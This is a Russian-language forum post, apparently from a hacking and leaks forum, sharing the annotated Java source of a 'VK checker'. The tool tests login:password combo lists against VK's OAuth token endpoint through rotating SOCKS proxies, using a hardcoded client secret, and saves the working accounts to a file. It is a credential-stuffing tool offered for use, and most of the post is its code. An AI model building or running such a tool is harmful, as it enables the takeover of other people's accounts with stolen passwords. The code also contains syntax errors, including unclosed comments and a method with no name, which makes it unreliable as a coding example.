• VLMI - форум по обмену информацией. На форуме можете найти способы заработка, разнообразную информацию по интернет-безопасности, обмен знаниями, курсы/сливы.

    После регистрации будут доступны основные разделы.

    Контент форума создают пользователи, администрация за действия пользователей не несёт ответственности, отказ от ответственности. Так же перед использованием форума необходимо ознакомиться с правилами ресурса. Продолжая использовать ресурс вы соглашаетесь с правилами.
  • Подпишись на наш канал в Telegram для информации о актуальных зеркалах форума: https://t.me/vlmiclub

[Java][Source] чекер вк

Dyrt hjort

Местный
Сообщения
101
Реакции
161
0 руб.
Всем привет. Хочу поделиться с вами сурсами своего чекера на вк.
Думаю, для того, что бы работу софта понял каждый я распишу его код:
1. Класс main(основной класс нашего софта), который будет отправлять запросы и проводить проверку.
Код:
package su.vlmi.vk; //пакет проекта

import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;

import java.io.IOException;
import java.net.InetSocketAddress;
import java.net.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.sql.SQLOutput;
import java.util.Scanner;

//Выше строки со словом импорт подключают необходимые нам библиотеки к проекту.

public class Main {
    static Scanner in = new Scanner(System.in); /* Делаем ссылку на функцию сканер, которая позволит нам вводить символы с клавиатуры */

    public static void main(String[] args) throws IOException {
        String valids = Main.Dirwv(); /*Переменная значение которой является полный путь до файла в который будут сохранены валидные аккаунты. Значение пути мы получаем из метода ниже к которому обрашается переменная. */
        String bads = Dirwb(); // Аналогично, но уже с не валидными аккаунтами
        System.out.println("Starting:"); //Выводит на экран "Starting" показав, что работа уже началась
        int i = 1; //просто необходимая переменная Xd. Можно обойтись без него, но мне было проще сделать так.
        while(true) {
            String log = Base.read(i); /* Переменная лог содержит в себе "логин:пароль", либо "номер:пароль" полученый в процессе обраения к методу read(), который находиться в классе Base. Вот тут и всплывает необходимость нашей i переменной, что она делает мы разберем в следующем классе, но пока нужно понять, что это важная деталь хоть можно и сделать по другому и она нам не понадобиться. */
            if(log == null){  /*Тут идет проверка, если значение log = null:null то программа завершает свою работу. */
                break;
            }
            String[] sp = log.split(":"); /*Разбиваем строку на 2 значения. 1-ое до ":", а 2-ое после ":"
            String login = sp[0]; //Переменную логин приравниваем к 1 значение разбитой строки
            String password = sp[1]; //Переменную пароль приравниваем ко 2 значению разбиой строки
            if(login == null){ //Если значение логин = null, то мы даем рандомное значение
                login = "[email protected]";
            } else if (password == null){ //Аналогично, только с паролем
                password = "NotFindPassword";
            }

            String nosok = Checkkk.vsocks(i); /*Делаем запрос на получение "ip:port" в методе vsocks, который находится в классе Checkkk. Снова переменная i является так же важной, как и в случаем с обращением к классу Base */
            if(nosok == null){
                  break;
             } //Так как у нас прокси все мертвы, то работа завершается
            String[] hosts = nosok.split(":"); //Аналагично разбиваем строку
            String target = hosts[0]; //Тут у нас будет 1 значение то есть ip
            int port = Integer.parseInt(hosts[1]); /* Тут у нас будет 2 значение то есть port.
            Proxy proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(target, port)); /* Делаем ссылку на функцию прокси и сразу определяем какие прокси мы будем использвать и передаем значения. */
            String url = "https://oauth.vk.com/token?grant_type=password&client_id=3697615&client_secret=AlVXZFMUqyrnABp8ncuU&username="
                    + login + "&password=" + password + "&scope=messages,friends&v=5.80&2fa_supported=1";
/* Делаем юрл на который мы будем слать гет запрос и исходя из ответа определять валиден акк или нет. */
            OkHttpClient client = new OkHttpClient.Builder().proxy(proxy).build(); /* Создаем клиент для отправки запросов и подключаем к нему прокси. */
/* Если вам не нужны прокси, то тогда потребуется удалить вот это ".Builder().proxy(proxy).build" и софт будет работать с вашего айпи без проксей*/
            Request request = new Request.Builder().url(url).get().build(); //Создаем запрос
            try {
                Response response = client.newCall(request).execute(); /* Тут происходит отправка запроса на сервер и получение ответа */
                if (response.code() == 200) {  /*Проверяет, если код ответа = 200, то идет запись в файл с гудами */
                    log = "============ " + log + " ============= \n";
                    Files.write(Paths.get(valids), log.getBytes(), StandardOpenOption.APPEND);
                }else{
                    Files.write(Paths.get(bads), log.getBytes(), StandardOpenOption.APPEND); /*Если код ответа не равен 200, то запись будет в файл с не валидными аккаунтами. */
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
            i++; /*Увеличиваем нашу переменную i на 1
        }
        System.out.println("Finished!"); //Выводиться надпись по окончанию работы программы.
    }

    public String Dirdb() { //Функция просит ввести вас путь до базы.
        System.out.print("Введите путь до базы: ");
        String name = in.nextLine();
        return name;
    }

    public static String Dirwv() {//Функция просит ввести вас путь до файла с гудами.
        System.out.print("Введите путь к файлу для сохранения гудов: ");
        String name = in.nextLine();
        return name;
    }

    public static String Dirwb() { //Функция просит ввести вас путь до файла с невалидом.
        System.out.print("Введите путь к файлу для сохранения бэдов: ");
        String name = in.nextLine();
        return name;
    }

    public String Dirp() { //Функция просит ввести вас путь до файла с проксями.
        System.out.print("Введите путь до проксей: ");
        String name = in.nextLine();
        return name;
    }

}

2. Класс Base, который будет давать нам значения логина и пароля
Код:
package su.vlmi.vk;

import java.io.BufferedReader;
import java.io.File;
import java.io.FileReader;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;

public class Base {
    static Main m = new Main(); //Делаем ссылку на класс Main
    static String way = m.Dirdb(); //Используя ссылку на класс Main запрашиваем путь до базы

    public static String(int i) throws IOException {
        String a = null;
        BufferedReader br = new BufferedReader(new FileReader(way)); /* Ссылка на функцию, которая будет читать файл */
        for( int j = 0; j < i; j++){ /*Вот тут и понадобился нам i. Он является своего рода пределом. При чтении файла, что бы нам давалось все строго по порядку мы используем данный предел. То есть. У нас есть переменная j = 0 и i, который в 1-ом случае = 1. Значит цикл фор возьмет 1 строку файла и переменную а приравняет к значению этой строки. Если i=10, то а будет приравнено к значению 9 строки. Все просто. */
            a = br.readLine();
        }

        return a; //Возвращаем значение а в переменную log метода main находящегося в классе Main
    }
}

3. Будет класс, который возвращает валидные прокси
Код:
package su.vlmi.vk;

import okhttp3.OkHttpClient;
    import okhttp3.Request;
    import okhttp3.Response;

    import java.io.IOException;
    import java.net.InetSocketAddress;
    import java.net.Proxy;
    import java.nio.file.Files;
    import java.nio.file.Paths;
    import java.nio.file.StandardOpenOption;
    import java.util.concurrent.TimeUnit;

    public class Checkkk {

        public static String vsocks(int i) {
            String ret = null;
            while(true) {
                try {
                    String vsock = Nosku.read(i); //Запрашивает у файла с проксями значния
                    if(vsock == null){ /* проверяет, если значение полученное от класса Noscku равно null, то выводит на экран надпись, что все прокси мертвы и останавливает работу */
                             System.out.println("All poxy is dead");
                             break;
                    String[] target = vsock.split(":");
                    String ip = target[0];
                    int port = Integer.parseInt(target[1]);
                    Proxy proxy = new Proxy(Proxy.Type.SOCKS, new InetSocketAddress(ip, port));

                    OkHttpClient client = new OkHttpClient.Builder()
                            .proxy(proxy)
                            .connectTimeout(5, TimeUnit.SECONDS)
                            .writeTimeout(3, TimeUnit.SECONDS)
                            .readTimeout(3, TimeUnit.SECONDS)
                            .build();
                    Request request = new Request.Builder().url("https://google.com").get().build();
                    Response response = client.newCall(request).execute();
                    if (response.code() == 200) {
                        ret = vsock;
                        break;
                    }
                } catch (IOException e) {
                }
                i++;
            }
            return ret;
        }
    }

Суть данного класса в том, что мы запрашиваем прокси и из файла с проксями и проверяем их на валид обращаясь к гуглу. Если запрос дошел, то прокся жива и будет передана в класс Main-

4. Ну и на последок класс Nosku, который будет читать базу с проксями и давать нам значения
Код:
package su.vlmi.vk;

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;

public class Nosku {

    static Main m = new Main();
    static String way = m.Dirp();

    public static String read(int i) throws IOException {
        String a = null;
        BufferedReader br = new BufferedReader(new FileReader(way));
        for( int j = 0; j < i; j++){
            a = br.readLine();
        }

        return a;
    }
}

Вот так пишется простенький чекер вк. Осталось лишь собрать jar file и запустить его.
Что касаемо проксей, то софт достаточно требовательный, поэтому учтите тот факт, что если прокси плохие, то валид может попасть в файл с невалидом.
Всем благ.
 
Сверху Снизу